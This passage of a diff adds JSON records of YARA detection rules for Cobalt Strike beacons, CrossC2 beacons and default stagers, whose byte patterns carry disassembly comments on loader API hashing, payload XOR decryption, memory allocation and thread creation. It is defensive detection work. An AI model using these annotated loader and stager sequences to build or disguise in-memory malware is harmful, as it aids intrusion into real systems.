rsp, 20h        ; CODE XREF: sub_E730+99↓p\n            48 8D 1D EA FF FF FF                          // lea     rbx, loc_0      ; DATA XREF: __alloca_probe+1C↓r\n            48 89 DF                                      // mov     rdi, rbx\n            48 81 C3 ?? ?? ?? 00                          // add     rbx, 15F88h\n            FF D3                                         // call    rbx ; sub_15F88\n        }\n\n        // set magic_mz_x64 \"AYAQ\";\n        $region2 = {\n            41 59                                         // pop     r9\n            41 51                                         // push    r9\n            55                                            // push    rbp\n            48 89 E5                                      // mov     rbp, rsp\n            48 81 EC 20 00 00 00                          // sub     rsp, 20h        ; CODE XREF: sub_E730+99↓p\n            48 8D 1D EA FF FF FF                          // lea     rbx, loc_0\n            48 89 DF                                      // mov     rdi, rbx\n            48 81 C3 ?? ?? ?? 00                          // add     rbx, 15F88h\n            FF D3                                         // call    rbx ; sub_15F88\n        }\n\n        // set magic_mz_x64 \"AZAR\";\n        $region3 = {\n            41 5A                                         // pop     r10\n            41 52                                         // push    r10\n            55                                            // push    rbp\n            48 89 E5                                      // mov     rbp, rsp\n            48 81 EC 20 00 00 00                          // sub     rsp, 20h        ; CODE XREF: sub_E730+99↓p\n            48 8D 1D EA FF FF FF                          // lea     rbx, loc_0      ; DATA XREF: __alloca_probe+1C↓r\n            48 89 DF                                      // mov     rdi, rbx\n            48 81 C3 ?? ?? ?? 00                          // add     rbx, 15F88h\n            FF D3                                         // call    rbx ; sub_15F88\n        }\n\n        // set magic_mz_x64 \"^V\";\n        $region4 = {\n            5E                                            // pop     rsi\n            56                                            // push    rsi\n            55                                            // push    rbp\n            48 89 E5                                      // mov     rbp, rsp\n            48 81 EC 20 00 00 00                          // sub     rsp, 20h        ; CODE XREF: sub_E730+99↓p\n            48 8D 1D EC FF FF FF                          // lea     rbx, loc_0      ; DATA XREF: __alloca_probe+1C↓r\n            48 89 DF                                      // mov     rdi, rbx\n            48 81 C3 ?? ?? ?? 00                          // add     rbx, 15F88h\n            FF D3                                         // call    rbx ; sub_15F88\n        }\n\n        // set magic_mz_x64 \"A[AS\";\n        $region5 = {\n            41 5B                                         // pop     r11\n            41 53                                         // push    r11\n            55                                            // push    rbp\n            48 89 E5                                      // mov     rbp, rsp\n            48 81 EC 20 00 00 00                          // sub     rsp, 20h        ; CODE XREF: sub_E730+99↓p\n            48 8D 1D EA FF FF FF                          // lea     rbx, loc_0      ; DATA XREF: __alloca_probe+1C↓r\n            48 89 DF                                      // mov     rdi, rbx\n            48 81 C3 ?? ?? ?? 00                          // add     rbx, 15F88h\n            FF D3                                         // call    rbx ; sub_15F88\n        }\n\n        $reflectiveloader1 = {\n            81 [1-3] 8E 4E 0E EC                          // cmp     [rsp+68h+var_64], 0EC0E4E8Eh\n            74 ??                                         // jz      short loc_16A0D\n            81 [1-3] AA FC 0D 7C                          // cmp     [rsp+68h+var_64], 7C0DFCAAh\n            74 ??                                         // jz      short loc_16A0D\n            81 [1-3] 54 CA AF 91                          // cmp     [rsp+68h+var_64], 91AFCA54h\n            74 ??                                         // jz      short loc_16A0D\n            81 [1-3] 1B C6 46 79                          // cmp     [rsp+68h+var_64], 7946C61Bh\n            74 ??                                         // jz      short loc_16A0D\n            81 [1-3] FC A4 53 07                          // cmp     [rsp+68h+var_64], 753A4FCh\n            74 ??                                         // jz      short loc_16A0D\n            81 [1-3] 04 49 32 D3                          // cmp     [rsp+68h+var_64], 0D3324904h\n            0F ?? ?? ?? 00 00                             // jnz     loc_16B33\n        }\n\n    condition:\n        1 of ($region*) and 1 of ($reflectiveloader*)\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "cobalt_strike_beacon_magic_mz_3c65ae1c6a7f"
+  ],
+  "rule_creation_date": "2022-03-25",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Framework.CobaltStrike"
+  ],
+  "rule_tactic_tags": [
+    "attack.execution"
+  ],
+  "rule_technique_tags": [],
+  "rule_score": 100,
+  "rule_context": [
+    "memory",
+    "thread"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-cobalt_strike_beacon_magic_mz_c375c8b538df_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.580914Z",
+  "creation_date": "2026-03-23T11:46:25.580916Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.580921Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/software/S0154/\nhttps://www.redteam.cafe/red-team/shellcode-injection/magic_mz_x86-and-magic_mz_x64"
+  ],
+  "name": "cobalt_strike_beacon_magic_mz_c375c8b538df.yar",
+  "content": "rule cobalt_strike_beacon_magic_mz_c375c8b538df {\n    meta:\n        title = \"Cobalt Strike Beacon magic_mz (c375c8b538df)\"\n        id = \"6cbb0ed2-a041-44b2-92a0-c375c8b538df\"\n        description = \"Detects Cobalt Strike Beacon instances using the magic_mz_x86 malleable profile in memory.\\nCobalt Strike Beacon is a popular post-exploitation tool that uses malleable profiles to alter its behavior. The magic_mz_x86 profile is used to inject shellcode into processes, creating a persistence mechanism. This rule detects the specific patterns associated with this profile's execution in memory.\\nIt is recommended to monitor process creation and network communication for signs of Cobalt Strike activity.\"\n        references = \"https://attack.mitre.org/software/S0154/\\nhttps://www.redteam.cafe/red-team/shellcode-injection/magic_mz_x86-and-magic_mz_x64\"\n        date = \"2022-03-25\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.s0154;attack.execution\"\n        classification = \"Windows.Framework.CobaltStrike\"\n        context = \"memory,thread\"\n        os = \"Windows\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // set magic_mz_x86 \"MZRE\";\n        $region0 = {\n            4D                                            // dec     ebp\n            5A                                            // pop     edx\n            52                                            // push    edx\n            45                                            // inc     ebp\n            E8 00 00 00 00                                // call    $+5\n            5B                                            // pop     ebx\n            89 DF                                         // mov     edi, ebx\n            55                                            // push    ebp\n            89 E5                                         // mov     ebp, esp\n            81 C3 ?? ?? ?? 00                             // add     ebx, 7C14h\n            FF D3                                         // call    ebx\n        }\n\n        // set magic_mz_x86 \"H@KC\";\n        $region1 = {\n            48                                            // dec     eax\n            40                                            // inc     eax\n            4B                                            // dec     ebx\n            43                                            // inc     ebx\n            E8 00 00 00 00                                // call    $+5\n            5B                                            // pop     ebx\n            89 DF                                         // mov     edi, ebx\n            55                                            // push    ebp\n            89 E5                                         // mov     ebp, esp\n            81 C3 ?? ?? ?? 00                             // add     ebx, 7C14h\n            FF D3                                         // call    ebx\n        }\n\n        // set magic_mz_x86 \"KCKC\";\n        $region2 = {\n            4B                                            // dec     ebx\n            43                                            // inc     ebx\n            4B                                            // dec     ebx\n            43                                            // inc     ebx\n            E8 00 00 00 00                                // call    $+5\n            5B                                            // pop     ebx\n            89 DF                                         // mov     edi, ebx\n            55                                            // push    ebp\n            89 E5                                         // mov     ebp, esp\n            81 C3 ?? ?? ?? 00                             // add     ebx, 7C14h\n            FF D3                                         // call    ebx\n        }\n\n        // set magic_mz_x86 \"@H@H\";\n        $region3 = {\n            40                                            // inc     eax\n            48                                            // dec     eax\n            40                                            // inc     eax\n            48                                            // dec     eax\n            E8 00 00 00 00                                // call    $+5\n            5B                                            // pop     ebx\n            89 DF                                         // mov     edi, ebx\n            55                                            // push    ebp\n            89 E5                                         // mov     ebp, esp\n            81 C3 ?? ?? ?? 00                             // add     ebx, 7C14h\n            FF D3                                         // call    ebx\n        }\n\n        // set magic_mz_x86 \"]U]U\";\n        $region4 = {\n            5D                                            // pop     ebp\n            55                                            // push    ebp\n            5D                                            // pop     ebp\n            55                                            // push    ebp\n            E8 00 00 00 00                                // call    $+5\n            5B                                            // pop     ebx\n            89 DF                                         // mov     edi, ebx\n            55                                            // push    ebp\n            89 E5                                         // mov     ebp, esp\n            81 C3 ?? ?? ?? 00                             // add     ebx, 7C14h\n            FF D3                                         // call    ebx\n        }\n\n        // set magic_mz_x86 \"MEME\";\n        $region5 = {\n            4D                                            // dec     ebp\n            45                                            // inc     ebp\n            4D                                            // dec     ebp\n            45                                            // inc     ebp\n            E8 00 00 00 00                                // call    $+5\n            5B                                            // pop     ebx\n            89 DF                                         // mov     edi, ebx\n            55                                            // push    ebp\n            89 E5                                         // mov     ebp, esp\n            81 C3 ?? ?? ?? 00                             // add     ebx, 7C14h\n            FF D3                                         // call    ebx\n        }\n\n        $reflectiveloader1 = {\n            81 [1-2] 8E 4E 0E EC                          // cmp     [ebp+var_10], 0EC0E4E8Eh\n            74 ??                                         // jz      short loc_10008D7B\n            81 [1-2] AA FC 0D 7C                          // cmp     [ebp+var_10], 7C0DFCAAh\n            74 ??                                         // jz      short loc_10008D7B\n            81 [1-2] 54 CA AF 91                          // cmp     [ebp+var_10], 91AFCA54h\n            74 ??                                         // jz      short loc_10008D7B\n            81 [1-2] 1B C6 46 79                          // cmp     [ebp+var_10], 7946C61Bh\n            74 ??                                         // jz      short loc_10008D7B\n            81 [1-2] FC A4 53 07                          // cmp     [ebp+var_10], 753A4FCh\n            74 ??                                         // jz      short loc_10008D7B\n            81 [1-2] 04 49 32 D3                          // cmp     [ebp+var_10], 0D3324904h\n            0F ?? ?? ?? 00 00                             // jnz     loc_10008E35\n        }\n\n        $reflectiveloader2 = {\n            75 ??                                         // jnz     short loc_10001110\n            81 ?? 8E 4E 0E EC                             // cmp     edx, 0EC0E4E8Eh\n            74 ??                                         // jz      short loc_10001137\n            81 ?? AA FC 0D 7C                             // cmp     edx, 7C0DFCAAh\n            74 ??                                         // jz      short loc_10001137\n            81 ?? 54 CA AF 91                             // cmp     edx, 91AFCA54h\n            75 ??                                         // jnz     short loc_10001184\n        }\n\n    condition:\n        1 of ($region*) and 1 of ($reflectiveloader*)\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "cobalt_strike_beacon_magic_mz_c375c8b538df"
+  ],
+  "rule_creation_date": "2022-03-25",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Framework.CobaltStrike"
+  ],
+  "rule_tactic_tags": [
+    "attack.execution"
+  ],
+  "rule_technique_tags": [],
+  "rule_score": 100,
+  "rule_context": [
+    "memory",
+    "thread"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-cobalt_strike_crossc2_beacon_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.565114Z",
+  "creation_date": "2026-03-23T11:46:25.565117Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.565132Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/gloxec/CrossC2\nhttps://www.trendmicro.com/en_us/research/21/j/actors-target-huawei-cloud-using-upgraded-linux-malware-.html\nhttps://go.recordedfuture.com/hubfs/reports/cta-2024-0716.pdf\nhttps://thedfirreport.com/2024/10/28/inside-the-open-directory-of-the-you-dun-threat-group/"
+  ],
+  "name": "cobalt_strike_crossc2_beacon.yar",
+  "content": "rule cobalt_strike_crossc2_beacon {\n    meta:\n        title = \"Cobalt Strike CrossC2 Beacon\"\n        id = \"5de0eac9-a4f9-4a18-bc8f-9a765ca7ed80\"\n        description = \"Detects a CrossC2 Cobalt Strike Beacon.\\nCrossC2 is a publicly available tool used to generate Unix Cobalt Strike payloads for cross-platform distributions.\\nIt enables adversaries to deploy and communicate with beaconing malwares across different operating systems.\\nIt is recommended to investigate the execution context and surrounding detection to assess whether the detected binary or process is linked with malicious activity.\"\n        references = \"https://github.com/gloxec/CrossC2\\nhttps://www.trendmicro.com/en_us/research/21/j/actors-target-huawei-cloud-using-upgraded-linux-malware-.html\\nhttps://go.recordedfuture.com/hubfs/reports/cta-2024-0716.pdf\\nhttps://thedfirreport.com/2024/10/28/inside-the-open-directory-of-the-you-dun-threat-group/\"\n        date = \"2024-11-26\"\n        modified = \"2025-11-04\"\n        author = \"HarfangLab\"\n        tags = \"attack.s0154;attack.defense_evasion;attack.t1569.002;attack.t1218;attack.t1055.012\"\n        classification = \"Linux.Framework.CobaltStrike\"\n        context = \"process,file.elf\"\n        os = \"Linux\"\n        arch = \"x86,x64\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples:\n        // e46606c9a2559c2a19edc67a69be7bf6869c0a2716ed1e8764bb492d12019baa\n        // 99cf3c473afafe8fbcacd93db9d21dbbb441ba65143a59829569700b54abb1be\n        // 013659b18ce1945d4702270bbe23d3f6e0d9114c49228369fac739c96a6fb315\n        // e6dd401cf11481690791c6cb174d3af21604f4a2c90e21b4087dbd47e69afee4\n\n        // \"%s %s HTTP/1.0\\r\\n\"\n        $str_http_header_1 = {\n            25 73 20 25 73 20\n            48 54 54 50 2f 31\n            2e 30 0D 0A\n        }\n        // \"Content-Type: application/ocsp-request\\r\\nContent-Length: %d\\r\\n\\r\\n\"\n        $str_http_header_2 = {\n            43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61\n            70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 73 70\n            2d 72 65 71 75 65 73 74 0D 0A 43 6f 6e 74 65\n            6e 74 2d 4c 65 6e 67 74 68 3a 20 25 64 0D 0A\n            0D 0A\n        }\n        $str_openssl_config = \"openssl.cnf\" ascii fullword\n\n        $stub_cff_x64 = {\n            85 C0                    // test         eax, eax\n            0F 84 [4]                // jz           .1\n            55                       // push         rbp\n            48 89 E5                 // mov          rbp, rsp\n            48 83 EC 10              // sub          rsp, 0x10\n            E8 [4]                   // call         sub_4125b0()\n            C3                       // ret\n            58                       // pop          rax\n            85 C0                    // test         eax, eax\n            0F 84 [4]                // jz           sub_4125b0()\n            58                       // pop          rax\n            48 83 C4 0A              // add          rsp, 0x0A\n            E9                       // jmp          loc_40bf91\n        }\n\n        $stub_cff_x32 = {\n            85 C0                    // test         eax, eax\n            0F 84 [4]                // jz           .326\n            55                       // push         ebp\n            89 E5                    // mov          ebp, esp\n            83 EC 10                 // sub          esp, 0x10\n            0F 84 [4]                // jz           .325\n            C3                       // ret\n            58                       // pop          eax\n            83 C4 0A                 // add          esp, 0x0A\n            E9                       // jmp          .489\n        }\n\n        $stub_cff_dispatch = {\n            8B 85 ?? FF FF FF        // mov          eax, [ebp-0xC8]\n            2D [4]                   // sub          eax, 0x85E72643\n            89 85 ?? FF FF FF        // mov          [ebp-0xDC], eax\n            0F 84 [2] 00 00          // jz           .231\n            E9 00 00 00 00           // jmp          .15\n        }\n\n        $stub_http_x64 = {\n            48 8B 7F 20              // mov          rdi, [rdi+0x20]\n            48 85 D2                 // test         rdx, rdx\n            48 89 D1                 // mov          rcx, rdx\n            B8 94 D7 74 00           // mov          eax, 0x74D794\n            48 0F 44 C8              // cmovz        rcx, rax\n            48 89 F2                 // mov          rdx, rsi\n            31 C0                    // xor          eax, eax\n            BE 20 09 75 00           // mov          esi, \"%s %s HTTP/1.0\\r\\n\"\n            E8 [4]                   // call         sub_631690()\n            31 D2                    // xor          edx, edx\n            85 C0                    // test         eax, eax\n            7E 08                    // jle          loc_670ad4\n            C7 03 09 10 00 00        // mov          dword ptr [rbx], 0x1009\n            B2 01                    // mov          dl, 0x01\n            5B                       // pop          rbx\n            89 D0                    // mov          eax, edx\n            C3                       // ret\n        }\n\n        $stub_http_x32 = {\n            85 C0                    // test         eax, eax\n            74 34                    // jz           loc_17ac64\n            89 44 24 0C              // mov          [esp+0x0C], eax\n            8B 44 24 24              // mov          eax, [esp+0x24]\n            C7 44 24 04 [4]          // mov          dword ptr [esp+0x04], \"%s %s HTTP/1.0\\r\\n\"\n            89 44 24 08              // mov          [esp+0x08], eax\n            8B 43 10                 // mov          eax, [ebx+0x10]\n            89 04 24                 // mov          [esp], eax\n            E8 [4]                   // call         sub_139710()\n            31 D2                    // xor          edx, edx\n            85 C0                    // test         eax, eax\n            7E 08                    // jle          loc_17ac5d\n            C7 03 [4]                // mov          dword ptr [ebx], 0x1009\n            B2 01                    // mov          dl, 0x01\n            83 C4 18                 // add          esp, 0x18\n            89 D0                    // mov          eax, edx\n            5B                       // pop          ebx\n            C3                       // ret\n        }\n\n        $stub_http_rebind_x64 = {\n            48 85 D2                 // test         rdx, rdx\n            48 89 D1                 // mov          rcx, rdx\n            48 89 F2                 // mov          rdx, rsi\n            48 8D 35 [4]             // lea          rsi, [\"%s %s HTTP/1.0\\r\\n\"]\n            48 0F 44 C8              // cmovz        rcx, rax\n            31 C0                    // xor          eax, eax\n            E8 [4]                   // call         sub_149560()\n            31 D2                    // xor          edx, edx\n            85 C0                    // test         eax, eax\n            7E ??                    // jle          .1\n            C7 03 [4]                // mov          dword ptr [rbx], 0x1009\n            B2 01                    // mov          dl, 0x01\n            5B                       // pop          rbx\n            89 D0                    // mov          eax, edx\n            C3                       // ret\n        }\n\n    condition:\n        uint16(0) == 0x457f and\n        (\n            (#stub_cff_x64 >= 2900 or #stub_cff_x32 >= 3000) and\n            #stub_cff_dispatch >= 200 and\n            1 of ($stub_http_*) and\n            all of ($str_*)\n        )\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "cobalt_strike_crossc2_beacon"
+  ],
+  "rule_creation_date": "2024-11-26",
+  "rule_modified_date": "2025-11-04",
+  "rule_os": [
+    "linux"
+  ],
+  "rule_classifications": [
+    "Linux.Framework.CobaltStrike"
+  ],
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1218",
+    "attack.t1569.002",
+    "attack.t1055.012"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "file.elf",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-cobalt_strike_default_stager_2a8077ab7fa5_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.581115Z",
+  "creation_date": "2026-03-23T11:46:25.581117Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.581132Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/software/S0154/"
+  ],
+  "name": "cobalt_strike_default_stager_2a8077ab7fa5.yar",
+  "content": "rule cobalt_strike_default_stager_2a8077ab7fa5 {\n    meta:\n        title = \"Cobalt Strike Default Stager (2a8077ab7fa5)\"\n        id = \"c854f1fd-64e1-4dca-8fff-2a8077ab7fa5\"\n        description = \"Detects Cobalt Strike's default stager in memory.\\nCobalt Strike's stager is responsible for unpacking and executing the payload within the infected system.\\nThis stager allocates memory and decrypts the payload using a custom routine.\\nThe detection is based on the memory patterns of the stager's unpacking process and encryption techniques.\\nIt is recommended to investigate the execution context and surrounding detections to assess whether the detected binary or process is linked with malicious activity. If possible, isolating the infected host during the investigation can help mitigate the risk of malicious activity.\"\n        references = \"https://attack.mitre.org/software/S0154/\"\n        date = \"2021-01-15\"\n        modified = \"2025-03-04\"\n        author = \"HarfangLab\"\n        tags = \"attack.s0154;attack.t1572;attack.t1071;attack.t1027.005;attack.t1106;attack.t1140\"\n        classification = \"Windows.Framework.CobaltStrike\"\n        context = \"memory,thread\"\n        os = \"Windows\"\n        arch = \"x64\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        $unpacker_stage_optimized = {\n            41 B9 04 00 00 00             // mov r9d, 4                    // PAGE_READWRITE\n            48 63 F2                      // movsxd  rsi, edx\n            49 89 CC                      // mov r12, rcx\n            89 D7                         // mov edi, edx\n            4C 89 C5                      // mov rbp, r8\n            48 89 F2                      // mov rdx, rsi                  // dwSize\n            41 B8 00 (10|30) 00 00        // mov r8d, 0x3000|0x1000        // MEM_COMMIT | MEM_RESERVE or only MEM_COMMIT\n            31 C9                         // xor ecx, ecx                  // lpStartAddress\n            FF 15 ?? ?? ?? ??             // call qword ptr [rip + 0xXX]   // VirtualAlloc\n            48 89 C3                      // mov rbx, rax\n            31 C0                         // xor eax, eax\n            EB 11                         // jmp decrypt_payload\n\n                                          // loop_decrypt_payload:\n            83 E2 03                      // and edx, 3\n            8A 54 15 00                   // mov dl, [rbp+rdx+0]\n            41 32 14 04                   // xor dl, [r12+rax]\n            88 14 03                      // mov [rbx+rax], dl\n            48 FF C0                      // inc rax\n\n                                          // decrypt_payload:\n            39 F8                         // cmp eax, edi\n            89 C2                         // mov edx, eax\n            7C E9                         // jl loop_decrypt_payload\n            48 89 D9                      // mov rcx, rbx\n            E8 ?? ?? ?? ??                // call 0xXX\n            4C 8D 4C 24 3C                // lea r9, [rsp + 0x3c]\n            48 89 F2                      // mov rdx, rsi\n            48 89 D9                      // mov rcx, rbx\n            41 B8 20 00 00 00             // mov r8d, 0x20                 // PAGE_READEXECUTE\n            FF 15 ?? ?? ?? ??             // call qword ptr [rip + 0xXX]   // VirtualProtect\n            4C 8D 05 ?? ?? ?? ??          // lea r8, [rip + 0xXX]          // lpStartAddress\n            49 89 D9                      // mov r9, rbx                   // lpParameter\n            31 D2                         // xor edx, edx                  // dwStackSize\n            31 C9                         // xor ecx, ecx                  // lpThreadAttributes\n            48 C7 44 24 28 00 00 00 00    // mov qword ptr [rsp + 0x28], 0 // lpThreadId\n            C7 44 24 20 00 00 00 00       // mov qword ptr [rsp + 0x20], 0 // dwCreationFlags\n            FF 15 ?? ?? ?? ??             // call qword ptr [rip + 0xXX]   // CreateThread\n        }\n    condition:\n        1 of them\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "cobalt_strike_default_stager_2a8077ab7fa5"
+  ],
+  "rule_creation_date": "2021-01-15",
+  "rule_modified_date": "2025-03-04",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Framework.CobaltStrike"
+  ],
+  "rule_tactic_tags": [],
+  "rule_technique_tags": [
+    "attack.t1071",
+    "attack.t1140",
+    "attack.t1106",
+    "attack.t1572",
+    "attack.t1027.005"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "memory",
+    "thread"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-cobalt_strike_default_stager_4ff51084ff7e_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.577687Z",
+  "creation_date": "2026-03-23T11:46:25.577689Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.577695Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/software/S0154/"
+  ],
+  "name": "cobalt_strike_default_stager_4ff51084ff7e.yar",
+  "content": "rule cobalt_strike_default_stager_4ff51084ff7e {\n    meta:\n        title = \"Cobalt Strike Default Stager (4ff51084ff7e)\"\n        id = \"aa0868a7-c22d-48db-acb9-4ff51084ff7e\"\n        description = \"Detects Cobalt Strike's default stager in memory.\\nCobalt Strike's stager is responsible for unpacking and executing the payload within the infected system.\\nThis stager allocates memory and decrypts the payload using a custom routine.\\nThe detection is based on the memory patterns of the stager's unpacking process and encryption techniques.\\nIt is recommended to investigate the execution context and surrounding detections to assess whether the detected binary or process is linked with malicious activity. If possible, isolating the infected host during the investigation can help mitigate the risk of malicious activity.\"\n        references = \"https://attack.mitre.org/software/S0154/\"\n        date = \"2021-01-14\"\n        modified = \"2025-03-04\"\n        author = \"HarfangLab\"\n        tags = \"attack.s0154;attack.t1572;attack.t1071;attack.t1027.005;attack.t1106;attack.t1140\"\n        classification = \"Windows.Framework.CobaltStrike\"\n        context = \"memory,thread\"\n        os = \"Windows\"\n        arch = \"x86\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        $unpacker_stage_3x_4x_optimized2 = {\n            8B 75 0C                     // mov esi, dword ptr [ebp + 0xc]\n            C7 44 24 0C 04 00 00 00      // mov dword ptr [esp + 0xc], 4             // PAGE_READWRITE\n            C7 44 24 08 00 (10|30) 00 00 // mov dword ptr [esp + 8], 0x1000 | 0x3000 // MEM_COMMIT | MEM_RESERVE or only MEM_COMMIT\n            C7 04 24 00 00 00 00         // mov dword ptr [esp], 0                   // lpStartAddress\n            89 74 24 04                  // mov dword ptr [esp + 4], esi             // dwSize\n            FF 15 ?? ?? ?? ??            // call dword ptr [0xXX]                    // VirtualAlloc\n            31 C9                        // xor ecx, ecx\n            83 EC 10                     // sub esp, 0x10\n            89 C3                        // mov ebx, eax\n            EB 1A                        // jmp decrypt_payload\n\n                                         // loop_decrypt_payload:\n            89 C8                        // mov eax, ecx\n            BF 04 00 00 00               // mov edi, 4\n            99                           // cdq\n            F7 FF                        // idiv edi\n            8B 7D 10                     // mov edi, dword ptr [ebp + 0x10]\n            8A 04 17                     // mov al, byte ptr [edi + edx]\n            8B 7D 08                     // mov edi, dword ptr [ebp + 8]\n            32 04 0F                     // xor al, byte ptr [edi + ecx]\n            88 04 0B                     // mov byte ptr [ebx + ecx], al\n            41                           // inc ecx\n\n                                         // decrypt_payload:\n            39 F1                        // cmp ecx, esi\n            7C E2                        // jl loop_decrypt_payload\n\n                                         // Cobalt Strike context patching (since 4.0)\n            [0-8]                        // 89 1C 24                                 // mov dword ptr [esp], ebx\n                                         // E8 ?? ?? ?? ??                           // call 0xXXXXX              // Modify the context passed to the thread\n\n\n            8D 45 E4                     // lea eax, [ebp - 0x1c]\n            89 74 24 04                  // mov dword ptr [esp + 4], esi\n            89 1C 24                     // mov dword ptr [esp], ebx\n            89 44 24 0C                  // mov dword ptr [esp + 0xc], eax\n            C7 44 24 08 20 00 00 00      // mov dword ptr [esp + 8], 0x20            // PAGE_READEXECUTE\n            FF 15 ?? ?? ?? ??            // call dword ptr [0xXX]                    // VirtualProtect\n            83 EC 10                     // sub esp, 0x10\n            89 5C 24 0C                  // mov dword ptr [esp + 0xc], ebx           // lpParameter\n            C7 44 24 14 00 00 00 00      // mov dword ptr [esp + 0x14], 0            // lpThreadId\n            C7 44 24 10 00 00 00 00      // mov dword ptr [esp + 0x10], 0            // dwCreationFlags\n            C7 44 24 08 ?? ?? ?? 00      // mov dword ptr [esp + 8], 0xXX            // lpStartAddress\n            C7 44 24 04 00 00 00 00      // mov dword ptr [esp + 4], 0               // dwStackSize\n            C7 04 24 00 00 00 00         // mov dword ptr [esp], 0                   // lpThreadAttributes\n            FF 15 ?? ?? 